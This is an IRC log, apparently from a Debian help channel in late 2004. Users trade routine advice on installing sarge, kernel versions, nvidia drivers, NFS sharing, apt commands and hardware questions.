| 01:23.35 | sobersabre | guys, does sarge install on SATA ? |
| 01:23.43 | rand | i'm rying the installer, and it's not finding the correct kernel modults |
| 01:23.46 | rand | er modules |
| 01:23.47 | sobersabre | is there a distro that does ? |
| 01:23.52 | kenboo | sobersabre, depends on your mobo |
| 01:23.54 | green_earz | rand: > http://home.comcast.net/~andrex/Debian-nVidia/ |
| 01:24.12 | rand | green_earz: lemme check that out, thanks |
| 01:24.15 | sobersabre | kenboo, what do u mean ? which SATA controllers are supported ? |
| 01:24.19 | anti-genre | how does apt-get work? |
| 01:24.27 | sobersabre | anti-genre, very well |
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| 01:24.34 | kenboo | sobersabre, mine is ICH6. ata_piix is the driver |
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| 01:24.40 | Radiance | cafuego, i know, been looking there, and made the mistake, difference turned out to be taiwan and china lol |
| 01:24.50 | dan2 | anybody here use plaxo |
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| 01:24.58 | sobersabre | kenboo, could u get it working from the installer ? |
| 01:25.04 | kenboo | sobersabre, yes. |
| 01:25.15 | anti-genre | sobersabre, you just have to type "apt-get install fluxbox" or something like that and it'll get fluxbox and compile it for you? |
| 01:25.20 | Radiance | cafuego, so i thought lets find some one who has a card in his laptop which is working with 802.11g/wpa and not using ndiswrapper but any other driver |
| 01:26.00 | sobersabre | anti-genre, there's an option that it will compile, but u don't really need this, you can install binaries. |
| 01:26.16 | dondelelcaro | anti-genre: no compiling necessary. |
| 01:26.18 | Radiance | cafuego, so i have a shit card here made in china i need to return, and lose like 1/3 of the money i already spent on it just returning the shit |
| 01:26.30 | kenboo | sobersabre, i typed linux26 at the installer's boot prompt. |
| 01:26.42 | sobersabre | sobersabre, and the idea is - oneliner. apt-get install kde <= will install the whole kde... but don't do that ;) |
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| 01:28.04 | walnuck | can I ask an awk question? |
| 01:28.13 | Guerin | walnuck: no. |
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| 01:28.25 | sobersabre | kenboo, i had a strange problem, and it was SATA on RAID controller. anyway, i had to use RH8 on that machine but started wondering whether sarge can eat SATA ... you say yeas.. |
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| 01:28.44 | sobersabre | walnuck, you can awk it if we can sed it... |
| 01:29.10 | jetx | hey my box was working when i left, i came home and found no xserver, just: Fatal server error. Caught signal 11. Server aborting" nothing in the xf log except the same thing. what do i investigate now. |
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| 01:29.13 | sobersabre | btw... any pointer to a good python tutorial ? |
| 01:29.16 | Guerin | sobersabre: I sed he couldn't awk it! |
| 01:29.30 | bazz | i just upgraded my esound package, and now when i run esd i get: esd: relocation error: esd: undefined symbol: esd_default_options... any ideas? |
| 01:29.35 | Guerin | sobersabre: python.org? |
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| 01:30.08 | Guerin | !tell jetx about sig11 |
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| 01:30.14 | AphisOne | I am tring to figure out how to imediatly retreive control back in a terminal after running an app |
| 01:30.27 | Guerin | AphisOne: foo & |
| 01:30.32 | AphisOne | like if I were to run gkrellm |
| 01:30.45 | walnuck | i'm trying to print lines ($2) so that the value in one of the columns is greater than a certain number-> cat afile|awk -- '{ if __ > 1000 ; print $2 ; fi }' am I close? |
| 01:30.47 | AphisOne | then get controll back imediatly |
| 01:30.49 | Guerin | I don't know anything about gkrellm |
| 01:30.50 | sobersabre | Guerin, i thank you. muhaha :) |
| 01:30.51 | jetx | okie. only thing running was xscreensaver, probably a likely culprit? |
| 01:30.54 | vook | or ctrl-Z, bg %1 |
| 01:31.10 | cafuego | holy crap, running premiere on an amd64 with 1.5GB ram is just a little bit quicker then running it on an 32bit athlon |
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| 01:31.34 | sobersabre | cafuego, are you sure you're on 64 ? :) |
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| 01:32.22 | Guerin | jetx: if that was the only thing running, why were you bothering with an X server? |
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| 01:33.04 | Guerin | walnuck: so if the value in field 2 is greater than 1000, print field 2? |
| 01:33.22 | jetx | Guerin i got up and me go bye bye |
| 01:34.09 | sobersabre | is there a linux laptop chan on freenode ? |
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| 01:34.57 | Jax | anybody know why the firewall is accepting rsync connetions even though i forwarded them to an internal server? |
| 01:35.00 | sgeigerbot | sobersabre: /list |
| 01:35.07 | jetscreamer | besides, electric sheep rock. (not sure which screensaver it was though) |
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| 01:35.41 | jetscreamer | never happened before though. was the first time i ever ran dual heads for a long time though.2 |
| 01:35.41 | helloyo | is there an easy way of getting reboot/shutdown functionality in KDE when using GDM? |
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| 01:36.34 | sgeigerbot | helloyo: Doesn't that sound more like a gdm question than a KDE question? Why do you even mention kde? And...why don't you read the gdm documentation. |
| 01:36.40 | jetscreamer | helloyo you get that with kdm for kde, and gdm for gnome... dunno if you can crossways though. |
| 01:36.44 | rand | green_earz: how do i put its value into a shell variable ? |
| 01:36.51 | sgeigerbot | helloyo: or are you looking for a kde applet like what you can use to control kdm? |
| 01:37.00 | sgeigerbot | helloyo: if so, good luck. |
| 01:37.07 | jetscreamer | no he wants the shutdown halt log off option |
| 01:37.33 | helloyo | yeah, that you get if you use kdm, but i prefer gdm |
| 01:37.33 | green_earz | rand: what for ??? |
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| 01:37.40 | SharkY | Hi |
| 01:37.41 | SharkY | :-D |
| 01:38.09 | sgeigerbot | helloyo: why do you prefer gdm? |
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| 01:38.13 | jetscreamer | and you get that with gnome and gdm... dunno what the hooks are. |
| 01:38.41 | helloyo | sgeigerbot, i like the look and feel of it |
| 01:38.44 | loof | Any reason why gcc-3.3 is the default instead of 3.4? |
| 01:38.45 | jetscreamer | gdm is more stable imo. i forget exactly why, just gdm seems to be less flawless. |
| 01:38.56 | rand | green_earz: i'm reading that page, it says to : put its value into a shell variable NVDIST" |
| 01:39.07 | jetscreamer | i had a reason. they mighta fixed it, but i never look again. |
| 01:39.22 | loof | Also, /w Hyperthread processors... I thought it would show two processors, is there any way to be sure it is active |
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| 01:39.47 | sgeigerbot | loof: dmesg |
| 01:39.50 | jetscreamer | loof you have an smp kernel? (all i know though) |
| 01:40.02 | sgeigerbot | loof: And more than one tux shows up when you boot |
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| 01:41.01 | jetscreamer | really? one tux per proc? or is that just shine? |
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| 01:41.09 | green_earz | rand: as su NVDIST=testing |
| 01:41.15 | jcole | loof: cat /proc/cpuinfo |
| 01:41.20 | sgeigerbot | jetscreamer: I got two tuxes. |
| 01:41.22 | rand | green_earz: that's it? :) |
| 01:41.39 | jetscreamer | i've never had a dual proc box :( |
| 01:41.46 | bucky | loof, cat /proc/cpuinfo |
| 01:41.59 | sgeigerbot | jetscreamer: even if you have hyperthreading you get two tuxes. |
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| 01:42.04 | green_earz | rand: then > apt-get install module-assistant nvidia-kernel-common |
| 01:42.08 | sgeigerbot | jetscreamer: ...and that's just one proc |
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| 01:42.26 | sgeigerbot | helloyo: helloyo |
| 01:42.49 | sgeigerbot | goodbyeyo |
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| 01:45.57 | rand | green_earz: does it matter that i'm running sarge? |
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| 01:46.45 | nvz | doh |
| 01:46.48 | green_earz | rand: thats the testing bit > NVDIST=testing |
| 01:46.57 | rand | k |
| 01:46.59 | rand | wasn't sure |
| 01:47.10 | green_earz | rand: testing is sarge |
| 01:47.42 | rand | in my sources.list i have it as sarge, i didn't realise you could list it as teting |
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| 01:47.54 | Azar | good night honorables |
| 01:48.14 | loof | Duh, no, I don't have an SMP kernel |
| 01:48.26 | loof | I didn't even think about that... the dangers if using a binary dist. |
| 01:48.50 | williew | where might the exim conf files be? |
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| 01:49.09 | Guerin | williew: it might be in /etc/ |
| 01:49.14 | loof | BTW, on a different topic... what is a good system & disk benchmark... I get the impression that either the IDE drive is Sllloooowww...or the IDE interface is taking up some outragous amount of CPU %... I can test this by dd'ing and compiling at the same time.... |
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| 01:49.26 | loof | but it'd be nicer to have a synthetic benchmark I don't have to think about |
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| 01:49.49 | rand | green_earz: i get this error : Bad luck, the kernel headers for this kernel version could not be found and you did not specify other kernel headers to use. |
| 01:50.04 | green_earz | rand: uname -a |
| 01:50.07 | williew | Guerin: dont see it. |
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| 01:50.31 | williew | Unless its not named exim.conf or similar? (i did locate /etc/*.conf | grep exim ) |
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| 01:50.53 | britt_ | hello |
| 01:50.58 | britt_ | I need some help |
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| 01:51.18 | rand | green_earz: Linux PVR 2.6.8-1-686 #1 Thu Nov 25 04:34:30 UTC 2004 i686 GNU/Linux |
| 01:51.45 | britt_ | how do i unpack a .tar.gz arcchive |
| 01:51.58 | HuntsMan | britt, tar xvfz file.tar.gz |
| 01:52.05 | danini | tar -zvxf filename |
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| 01:52.21 | jetscreamer | the order doesn't matter |
| 01:52.37 | green_earz | rand: will you be using the box to burn dvd or cds ? reason that with the 2.6.8 you can only burn as root |
| 01:52.53 | jetscreamer | not exactly true |
| 01:52.58 | rand | green_earz: yes |
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| 01:53.16 | jetscreamer | you can burn cd's w/o being root |
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| 01:54.18 | green_earz | jetscreamer: but am i right in saying that rand would be better off coming down to 2.6.7 |
| 01:54.47 | steve | how do I upgrade the kernel via apt pls? |
| 01:54.50 | britt_ | does anybody know how ez-ipupdate and linksysmon work together |
| 01:55.16 | jetscreamer | i dunno if you're right, but it's the first time i ever saw anybody recommend downgrading a 2.6 kernel to 2.6 |
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| 01:55.23 | britt_ | apt-get install kernel-image something something |
| 01:55.25 | britt_ | i think |
| 01:55.30 | jetscreamer | s/to 2.6/to a 2.6/ |
| 01:55.31 | britt_ | thats how i did it anyway |
| 01:55.31 | sgeigerbot | Some instructions I'm reading say "Redirect stdout, stderr in linuxrc" What does redirecting stdout, stderr look like? I understand "<somecommand> >/dev/null 2>&1" for a command...but in this context, they are talking (I think) about redirecting all the dmesg info that does to the screen during bootup. Anyone know what they might have meant? |
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| 01:56.15 | green_earz | jetscreamer: its because of the problem with burning with 2.6.8 |
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| 01:57.19 | cheale1 | what's wrong with 2.6.9? |
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| 01:57.40 | green_earz | is it sarge ? for 686 |
| 01:58.03 | Atmun | hello? |
| 01:58.35 | cheale1 | ok...it's sid |
| 01:58.56 | phil-j | How would I simulate keyboard events? I want to cheat at a Track and Field game where you have to waggle keys B and N as fast as possible. |
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| 02:00.04 | budluva | !dpkg woody->sarge |
| 02:00.04 | dpkg | it has been said that woody->sarge is edit /etc/apt/sources.list, changing all non-local mentions of "woody" or "stable" to "sarge". Then "apt-get update" and "apt-get dist-upgrade". This upgrade is not painless (yet). it is less painless, so there, or consider installing hotplug and/or discover1 afterwards if you're not confident with linux hardware management |
| 02:00.47 | green_earz | cheale1: Linux PVR 2.6.8-1-686 thats rand and i have not seen PVR ? |
| 02:00.49 | budluva | ok, i have just come off a clean install, before i upgrade to sarge, should i install a new kernel image? or goto sarge then install a new kernel image? |
| 02:01.02 | rand | pvr is me |
| 02:01.16 | britt_ | go to sarge than upgrade kernel |
| 02:01.23 | britt_ | worked fine for me |
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| 02:01.35 | budluva | and what is a good kernel image to use? |
| 02:01.37 | budluva | 2.6? or stay with 2.4? |
| 02:01.42 | green_earz | rand: its home made ? |
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| 02:02.04 | cheale1 | budluva: default sarge uses 2.4 |
| 02:02.16 | osirion | sarge uses 2.4 of what? |
| 02:02.18 | jcole | !asshole |
| 02:02.18 | dpkg | BillGates: You're being summoned, Dark Lord. |
| 02:02.19 | osirion | that is the default kernel? |
| 02:02.23 | cheale1 | kernel 2.4 |
| 02:02.32 | deadcat | osirion: your call |
| 02:02.38 | osirion | right. |
| 02:02.38 | rand | green_earz: iot |
| 02:02.45 | rand | it's a homemade machine yes |
| 02:02.52 | budluva | !dpkg kernel-image |
| 02:02.53 | dpkg | kernel-image is, like, what you get when you use make-kpkg (from package "kernel-package"), or ask me about "kp" for details Or 'apt-cache search kernel-image' |
| 02:02.59 | osirion | deadcat? |
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| 02:03.33 | deadcat | osirion: nevermind. but you can pick 2.4 or 2.6 |
| 02:03.41 | osirion | oh right. thanks. |
| 02:03.55 | green_earz | rand: apt-get install kernel-image-2.6.7-1-686 kernel-headers-2.6.7-1-686 then reboot on the 2.6.7 kernel and back to the howto |
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| 02:04.21 | budluva | ok another question, is there an existing howto for new debian users, that suggests what they should do after a clean install? ie, some popular packages to install, security measures, or is debian pretty secure out-of-the-box? |
| 02:04.34 | rand | green_earz: do i have to edit the lilo.conf again |
| 02:04.57 | steve | hmm, with the sarge CD how do I create a rescue environment pls? |
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| 02:05.29 | green_earz | rand: sorry i am a grub user i am lost with lilo |
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| 02:05.46 | rand | heh, k |
| 02:05.54 | britt__ | hey how do i check my mail |
| 02:06.04 | britt__ | i'm using ButchX |
| 02:06.10 | britt__ | BitchX |
| 02:06.13 | budluva | so can someone suggest to me what kernel i should use? is 2.6 safe to use yet? |
| 02:06.16 | green_earz | rand: what the install from woody cds ? and upgrade |
| 02:06.17 | osirion | hahah butchX :) |
| 02:06.17 | steve | any idea how i get a rescue enviroment? |
| 02:06.21 | britt__ | lol |
| 02:06.32 | dvs | budluva: Do you burn CDs? |
| 02:06.34 | green_earz | <PROTECTED> |
| 02:06.38 | budluva | dvs sometimes |
| 02:06.44 | britt__ | steve: um if you boot with the install CD |
| 02:06.51 | osirion | britt__ doesn't the default bitchX package have a script that monitors your mbox or something? |
| 02:07.00 | dvs | budluva: 2.6 after 2.6.7 has trouble with burning CDs. |
| 02:07.07 | britt__ | and type in linux rescue and define the root partition it should work |
| 02:07.11 | osirion | I am not sure but I am sure last time I ran it, it notified me of incoming mail, at least to my local box anyhow |
| 02:07.13 | budluva | so 2.6.7 is the highest i should go to? |
| 02:07.17 | rand | green_earz: ya, i figured |
| 02:07.20 | dvs | budluva: If you go 2.6. |
| 02:07.24 | britt__ | like this linux rescue root=/dev/hda1 |
| 02:07.39 | britt__ | osirion I have no clue |
| 02:07.46 | osirion | me either. |
| 02:07.53 | britt__ | shoudl i run mutt |
| 02:07.54 | britt__ | ? |
| 02:08.05 | green_earz | rand: thats why lilo with the new installer its grub as default |
| 02:08.09 | osirion | mutt is a good mua |
| 02:08.15 | osirion | that's what I used to use. |
| 02:08.30 | britt__ | osirion that was it |
| 02:08.38 | britt__ | BitchX monitors mutt apparently |
| 02:08.39 | britt__ | ;) |
| 02:08.57 | rand | how hard is it to change between grub and lilo? |
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| 02:09.06 | osirion | er... I thought it did something like monitor the mbox file or the /var/spool/mail or something. |
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| 02:09.08 | dvs | rand: not too hard |
| 02:09.15 | osirion | I am a debian newbie myself. |
| 02:09.24 | britt__ | osirion it was baid |
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| 02:09.30 | britt__ | I LOVE DEBIAN |
| 02:09.37 | osirion | baid? |
| 02:09.37 | green_earz | rand: sorry again not not know |
| 02:09.39 | dvs | !hug britt__ |
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| 02:10.01 | britt__ | thats even better than awesome |
| 02:10.07 | britt__ | !dict baid |
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| 02:10.09 | dpkg | could not find definition for baid |
| 02:10.14 | britt__ | there shoudl be |
| 02:10.17 | osirion | I messed with mandrake, and a few others about 2 - 3 years ago. and haven't use anything but debian since. That comment speaks for itself. |
| 02:10.34 | britt__ | !hug everyone |
| 02:10.58 | jivera | Do dpkg's arms love metal or are they metal and they love? |
| 02:11.08 | britt__ | me dont know |
| 02:11.12 | sgeigerbot | jivera: both |
| 02:11.36 | jivera | Hm, and are his arms shiny or do they love shiny metal? |
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| 02:11.46 | britt__ | um i did use Ubuntu but I hate it...I love debian |
| 02:11.50 | sgeigerbot | !tell jivera about bots that bite |
| 02:11.53 | green_earz | rand: sorry i can not help with lilo and a kernel install, some body in the channel should |
| 02:12.01 | osirion | jivera: that is well spotted. |
| 02:12.10 | britt__ | rand tell me your problems |
| 02:12.15 | rand | green_earz: np ,i'm reading bout it now |
| 02:12.17 | britt__ | I've done both |
| 02:12.22 | britt__ | lets see if i can help |
| 02:12.25 | osirion | but surely then it would have been a compound as in "metal-loving" :) |
| 02:12.44 | jivera | Maybe. |
| 02:12.47 | britt__ | i'm thinking his arms are metal but they are loving |
| 02:12.51 | britt__ | like a oxymoron |
| 02:12.53 | britt__ | you know |
| 02:12.53 | rand | britt__: i'm just downgrading the kernel, then installing the nvidia software |
| 02:13.01 | jivera | No, you'd put commas between the adjectives. |
| 02:13.06 | britt__ | hey good luck with that one |
| 02:13.10 | rand | i was just wondering how hard switching from lilo to grub |
| 02:13.13 | jivera | It'd be "shiny, metal, lovin' arms" wouldn't it? |
| 02:13.15 | britt__ | I just lost like 10000 brain cells |
| 02:13.18 | budluva | after kernel-image install, reboot required? |
| 02:13.19 | britt__ | your smarter than I |
| 02:13.22 | jivera | His arms love shiny metal the way it was written. |
| 02:13.24 | osirion | now your just getting crazy :) |
| 02:13.35 | dvs | budluva: Yup. If you want to use the new kernel |
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| 02:13.53 | green_earz | rand: once you got the kernel image installed and its headers and lilo configured its back to the nvidia howto |
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| 02:15.28 | mrwill | rand: it is relatively easy. |
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| 02:15.37 | mrwill | rand: switching bootloaders, that is. |
| 02:16.01 | rand | cool |
| 02:16.06 | rand | i'll do it after the updated |
| 02:16.09 | rand | upgrade |
| 02:16.11 | usuario | I'd like to share a directory (media files) with another computer connected via router, how can I do that? |
| 02:16.25 | jetscreamer | samba, nfs |
| 02:16.30 | dvs | usuario: There are several way to do it. |
| 02:16.33 | usuario | another linux computer |
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| 02:16.48 | usuario | I'd prefer the safest way |
| 02:16.59 | dvs | usuario: NFS is the easiest, to me |
| 02:17.00 | martoon | what's the command to find out what package contains a specific program? |
| 02:17.15 | usuario | dvs thank you |
| 02:17.28 | britt__ | hello |
| 02:17.30 | dvs | usuario: np |
| 02:17.35 | britt__ | just checking if i am back |
| 02:17.48 | britt__ | i assume i am |
| 02:17.49 | britt__ | :) |
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| 02:19.13 | budluva | how can i tell what kernel image im currently using? |
| 02:19.14 | danini | anobody speaks german here? |
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| 02:19.21 | dvs | budluva: uname -r |
| 02:19.33 | budluva | danini wundabar! |
| 02:19.37 | budluva | :P |
| 02:19.42 | budluva | thats all i know |
| 02:19.53 | osirion | uname -a gives you all the info I think |
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| 02:20.03 | osirion | uname -h or uname --help will tell you the arguments for the uname command. |
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| 02:20.12 | budluva | ok, thanks osirion |
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| 02:21.47 | sanxiyn | http://skyos.org/ |
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| 02:22.10 | initech | at skyos? |
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| 02:22.20 | martoon | what's the command to find out what package contains a specific program? |
| 02:22.54 | initech | martoon: a specific file? |
| 02:22.55 | sgeigerbot | martoon: Debian Package Management Info: http://newbiedoc.sourceforge.net/system/apt-get-intro.html or http://sgeiger.mine.nu/docs/pkgmgmt.html or (tarzeau's) http://www.linuks.mine.nu/debian-faq-wiki/ or (thanks za) apt-get install apt-howto-en or (if you forget) /msg apt mgmt or /msg apt pkgmgmt |
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| 02:23.09 | sanxiyn | martoon: dpkg --search |
| 02:23.19 | initech | martoon: generally dpkg -S /usr/bin/blah works |
| 02:23.56 | sanxiyn | initech: yes, at skyos. |
| 02:24.30 | sanxiyn | "How to port Mozilla to new OS" must be an interesting document, I think. |
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| 02:25.05 | usuario | I am setting up an nfs server for another computer through a router, would putting "192.168.1.101"(probably since the first [my] machine is .100 in hosts.allow be a proper step? |
| 02:25.29 | martoon | initech, that works on not yet installed packages? |
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| 02:25.36 | sanxiyn | martoon: No. |
| 02:25.38 | usuario | and by for another computer I mean to serv to another computer |
| 02:25.45 | kenboo | usuario, you need to edit /etc/exports |
| 02:25.47 | initech | usuario: the router has nothing to do with it, so long as it's passing the traffic |
| 02:25.47 | orionis | ola debianeros x).. |
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| 02:26.20 | initech | martoon: no, but auto-apt can do what you want i think |
| 02:26.45 | groulder | apt-cache search program |
| 02:27.14 | sanxiyn | martoon: You can search package content on packages.debian.org, too. |
| 02:27.47 | dvs | usuario: I'd put: ALL: 192.168.1.0/255.255.255.0 |
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| 02:28.17 | kenboo | usuario, debian allows ALL by default. so you don't need to edit hosts.allow |
| 02:28.56 | martoon | sanxiyn, thanks, found what i needed |
| 02:29.12 | usuario | kenboo: I don't want to allow all except one computer, though |
| 02:29.20 | martoon | sanxiyn, i thought i remembered a c/l way to do the same though |
| 02:29.32 | sanxiyn | martoon: apt-cache search "file", as others said. |
| 02:29.34 | sobersabre | how do i initialize a double in C ? |
| 02:29.40 | sobersabre | i did x=1.23 |
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| 02:29.47 | dvs | sobersabre: x=1.23L |
| 02:29.49 | initech | usuario: you need to look at /etc/exports, like kenboo said |
| 02:29.52 | sobersabre | and got in gdb: 12.300000190734863 :) |
| 02:29.58 | sanxiyn | sobersabre: Huh? |
| 02:30.01 | sanxiyn | 12.3? |
| 02:30.10 | usuario | initech: right now, I'm writing it, it was blank |
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| 02:30.15 | sobersabre | the 1st value was a typo :) |
| 02:30.38 | dvs | sobersabre: floating point number are not totally accurate. |
| 02:30.43 | kenboo | usuario, you can restrict IP or hostname in the /etc/exports, also you can tighten up the security in the hosts.allow, iptables, etc etc |
| 02:31.02 | sanxiyn | dvs: floating point numbers are accurate within error term. They are not exact. |
| 02:31.10 | martoon | sanxiyn, hmm, i never noticed anyone saying that, but i've tried it on my own and it's not finding the program i'm looking for (/usr/bin/play) |
| 02:31.25 | dvs | sanxiyn: that's what I meant. They're not exact. |
| 02:31.32 | sanxiyn | martoon: Oops, I meant "apt-file search XXX". Sorry. |
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| 02:31.43 | sanxiyn | dvs: But accurate. Well, sorry for pedantry. |
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| 02:31.54 | yxa | does debian support the sata raid of the recent IBM servers? |
| 02:31.59 | Sharcho | I'm installing sarge from the mini (8MB) netinst CD. Down is going really slow, is there a way I can change mirrors? Pressing Ctrl-C or killing the wget process doesn't work. |
| 02:32.03 | WiFiTux | How can I force to rmmod something? |
| 02:32.15 | dvs | usuario: initech is right. You don't need to edit your /etc/hosts.allow file |
| 02:32.19 | martoon | sanxiyn, tried that too, didn't work |
| 02:32.20 | steve | hmm, where can I find a list of kernels available via apt? |
| 02:32.28 | sanxiyn | martoon: Well, it works for me everyday :-) |
| 02:32.38 | dvs | steve: apt-cache search kernel-image |
| 02:32.39 | dondelelcaro | steve: apt-cache search ^kernel-image |
| 02:32.40 | steve | thanks |
| 02:32.59 | usuario | dvs: my /etc/exports: /mnt/hda3/Media 192.168.1.101(ro) |
| 02:33.30 | dvs | usuario: looks OK to me. |
| 02:33.37 | green-earz | Sharcho: check out > http://cdimage.debian.org/pub/cdimage-testing/daily/i386/20041220/ |
| 02:33.51 | usuario | dvs: how do I restart daemon for effects to change place? |
| 02:33.53 | martoon | sanxiyn, oooops...i mistyped /usr/bin/paly when i tried b4..no wonder :\ |
| 02:33.55 | dvs | usuario: Just make sure you have the NFS modules loaded in the kernel. |
| 02:34.02 | sanxiyn | martoon: Haha :-) |
| 02:34.26 | steve | is a sempron a K7? |
| 02:34.44 | usuario | dvs: I didn't install that package, I installed nfs-common and nfs-user-server only |
| 02:35.03 | usuario | dvs: I didn't install nfs-kernel-server |
| 02:35.05 | Cyanophytes | I upgraded to kernel 2.6.9 and when I try to use it my box reboots when it tries to load |
| 02:35.14 | dvs | usuario: You need that on the server. |
| 02:35.23 | sanxiyn | In short, yes. |
| 02:35.29 | steve | thanks :) |
| 02:35.47 | Cyanophytes | What could cause the kernel to my the box reboot |
| 02:35.53 | usuario | dvs: okay, apparently it's either kernel-server or user-server but not both |
| 02:36.03 | sanxiyn | Cyanophytes: Type "reboot" on the prompt? |
| 02:36.03 | resiak | !sempron is a k7, according to sanxiyn. |
| 02:36.03 | dpkg | okay, resiak |
| 02:36.12 | dvs | usuario: Ok. user-server is probably easier then. |
| 02:36.15 | resiak | sanxiyn: :) |
| 02:36.25 | sanxiyn | resiak: Heh. |
| 02:37.28 | initech | all the athlon+ are k7, except for amd64 |
| 02:37.53 | Sharcho | green-earz: thanks |
| 02:38.02 | green-earz | ok |
| 02:38.09 | usuario | dvs: okay, now, how can I test that the nfs server works on the other side? |
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| 02:38.40 | Cyanophytes | sanxiyn: when it sayes loading kernel it the pc just restarts instead of loading |
| 02:38.40 | resiak | Note to all: !k7 exists. |
| 02:38.48 | sanxiyn | !k7 |
| 02:38.48 | dpkg | somebody said k7 was the generic model name for the series of AMD i386-compatible processors which begins with the "Athlon" and also includes the "Duron", "Thunderbird" and "Athlon XP" processors. It does not include the Opteron (k8) family or the older K5 or K6 chips. |
| 02:38.52 | dvs | usuario: mount it: mount -t nfs comp:/dir /mnt |
| 02:39.03 | sanxiyn | resiak: Thanks. |
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| 02:39.08 | resiak | sanxiyn: It wasn't mine. |
| 02:39.18 | usuario | dvs: okay |
| 02:39.29 | yxa | hi does debian support the sata raid of the recent IBM servers? |
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| 02:39.58 | BrittMan914 | anybody have a opteron |
| 02:39.59 | BrittMan914 | ? |
| 02:40.07 | initech | wtf kind of name os "sempron" anyway |
| 02:40.12 | dvs | !tell BrittMan914 about ask |
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| 02:40.23 | chupie | what are some good video editing programs? and if there are any, which would utilize a existing cluster? |
| 02:40.31 | initech | BrittMan914: why? i will pretty soon |
| 02:40.48 | kenboo | yxa, i see nv, promise, sil, sis, svw, sx4, via, vsc, piix in the supported sata drivers. is the IBM server one of them? |
| 02:40.51 | initech | chupie: cinelerra, but don't know about "good" |
| 02:41.46 | chupie | hmm... i'll check it out |
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| 02:42.27 | yxa | kenboo i'll have to check that out. thanks |
| 02:42.27 | BrittMan914 | initech I was just wondering if they live up to the hype |
| 02:42.29 | serFiu | !books |
| 02:42.30 | dpkg | somebody said books was http://www.debian.org/doc/books |
| 02:42.53 | BrittMan914 | dvs what is going on...did i mess something up |
| 02:42.54 | BrittMan914 | ? |
| 02:42.59 | initech | BrittMan914: well, they are pretty nice, better than x86 in most any regard |
| 02:43.01 | serFiu | Hello! |
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| 02:43.32 | dvs | BrittMan914: Just ask your question about an opteron. Don't ask if anyone has an opteron. |
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| 02:43.44 | steve | hmmm, still no luck with getting sarge's CD to rescue me |
| 02:43.48 | steve | what should I type pls? |
| 02:43.49 | serFiu | !reference |
| 02:43.49 | dpkg | well, reference is The Debian Reference. Will answer most of your questions about Debian. latest version at qref.sourceforge.net, or http://www.debian.org/doc/manuals/reference/reference.en.html#contents |
| 02:44.02 | BrittMan914 | dvs: I was just wondering where I should go next in my PC |
| 02:44.09 | SharkY | Bye |
| 02:44.12 | Guerin | if a configure script can't find a lib that I know I have installed, what is the usual way to tell it how to find that lib |
| 02:44.15 | Guerin | ? |
| 02:44.27 | simonrvn | --with-foo=/usr |
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| 02:44.53 | Guerin | simonrvn: yeah, --with-freetype=/usr/include/freetype2/ doesn't work |
| 02:44.55 | dvs | BrittMan914: I'd go with an Athlon 64 (939 socket) but that's me. |
| 02:45.12 | BrittMan914 | dvs: me too....just kinda of a dream |
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| 02:45.34 | initech | BrittMan914: unless you want two cpu's, opteron is a waste |
| 02:45.41 | Guerin | i'm trying to fuck with the configure script, but it's a mess of aliases and I don't really understand it |
| 02:45.48 | Guerin | err, variables |
| 02:45.48 | resiak | Guerin: You _still_ working on your framebuffer GTK+? |
| 02:45.52 | steve | any ideas guys? |
| 02:45.54 | initech | BrittMan914: wait till they're cheap on ebay (like 2007) ;) |
| 02:46.01 | cafuego | And s754 is a lot cheaper... and that'll last you a couple of years regardless. |
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| 02:46.06 | Guerin | resiak: I've just picked it up again after sleeping on it last night |
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| 02:46.14 | BrittMan914 | initech: I really liked my SMP Ppro system but it only ran at 333 |
| 02:46.26 | Guerin | resiak: it's failed three times,, at an hour each, so I haven't spent much time on it yet |
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| 02:46.58 | initech | BrittMan914: well if you got $8000 to burn, you can buy one of sun's amd workstations |
| 02:47.04 | loof | Ok, this is kinda annoying... I've got a new server, which kinda has IDE tacked-on |
| 02:47.14 | resiak | Guerin: I don't blame you. Gonna write a HOWTO when you're done? :) |
| 02:47.16 | xmb | did a dpkg update earlier cause any breakage? |
| 02:47.26 | loof | It's got a rather nice SCSI raid array |
| 02:47.26 | carlosdelriomore | sup all |
| 02:47.27 | BrittMan914 | initech: I have no money....which is why I have no good computers |
| 02:47.32 | BrittMan914 | ask TerminX |
| 02:47.33 | carlosdelriomore | have a problem here |
| 02:47.34 | BrittMan914 | hehe |
| 02:47.38 | xmb | getting now ' fork failed: Cannot allocate memory' |
| 02:47.39 | dvs | xmb: no, not at all. It's the dist-upgrade that hurts. |
| 02:47.40 | sanxiyn | Guerin: Good luck! |
| 02:47.41 | resiak | carlosdelriomore: Ask. |
| 02:47.42 | Guerin | resiak: I'm going to have to. |
| 02:47.46 | loof | However, whenever there is any IDE activity at all the system slows to a crawl |
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| 02:47.59 | cafuego | initech: I'm sure that for half that price you could buy a better box from components. |
| 02:48.02 | xmb | a few days ago i had that too, but i ignored it cause my damage might been a bit unstable, tho i've rebooted now |
| 02:48.03 | initech | BrittMan914: really a 1GHz cpu is plenty for almost anything desktop wise |
| 02:48.09 | loof | Also the copy command was taking something like %20 of the CPU load |
| 02:48.11 | Guerin | resiak: there are debian source packages for it, but they're d-i udebs, and the people in #debian-boot say they're horribly b0rken |
| 02:48.12 | initech | cafuego: doubt it |
| 02:48.14 | carlosdelriomore | is there any way to check what IP has logged into my AOL IM lately? someone has changed my password and id like to know who.... |
| 02:48.18 | Covener | loof: dma enabled? |
| 02:48.20 | Guerin | sanxiyn: cheers :) |
| 02:48.23 | loof | I _really_ want to throw my existing IDE drive on there |
| 02:48.33 | cafuego | initech: Nah, should be easy. Throw in a 3ware sata raid card and everything |
| 02:48.34 | loof | Covener: I have conflicting information on that |
| 02:48.38 | resiak | carlosdelriomore: I'd love to know how exactly that's related to Debian ... |
| 02:48.40 | BrittMan914 | initech: I have a athlon 1200 |
| 02:48.43 | BrittMan914 | ;) |
| 02:48.44 | xmb | not my damage, my system |
| 02:49.01 | initech | cafuego: the sun spares no expense, scsi, ecc memory, etc. |
| 02:49.08 | loof | Well, /proc/ide/piix says YES and hdparm says NO |
| 02:49.10 | Covener | loof: as root, hdparm /dev/hdN ? |
| 02:49.21 | cafuego | initech: Yes, but you cna get a faster i/o system with sata these days |
| 02:49.26 | cafuego | initech: .. for less. |
| 02:49.42 | resiak | carlosdelriomore: For what it's worth, I suspect that the answer is "no". /j #aim perhaps? I don't know if it exists. |
| 02:49.42 | loof | In fact, when I try to turn it on in hdparm it tells me 'HDIO_SET_DMA: Operation not permitted' |
| 02:49.43 | initech | cafuego: no you can't |
| 02:50.07 | cafuego | initech: yes, you can. |
| 02:50.13 | initech | cafuego: but sata is almost always the better choice |
| 02:50.17 | initech | cafuego: nope |
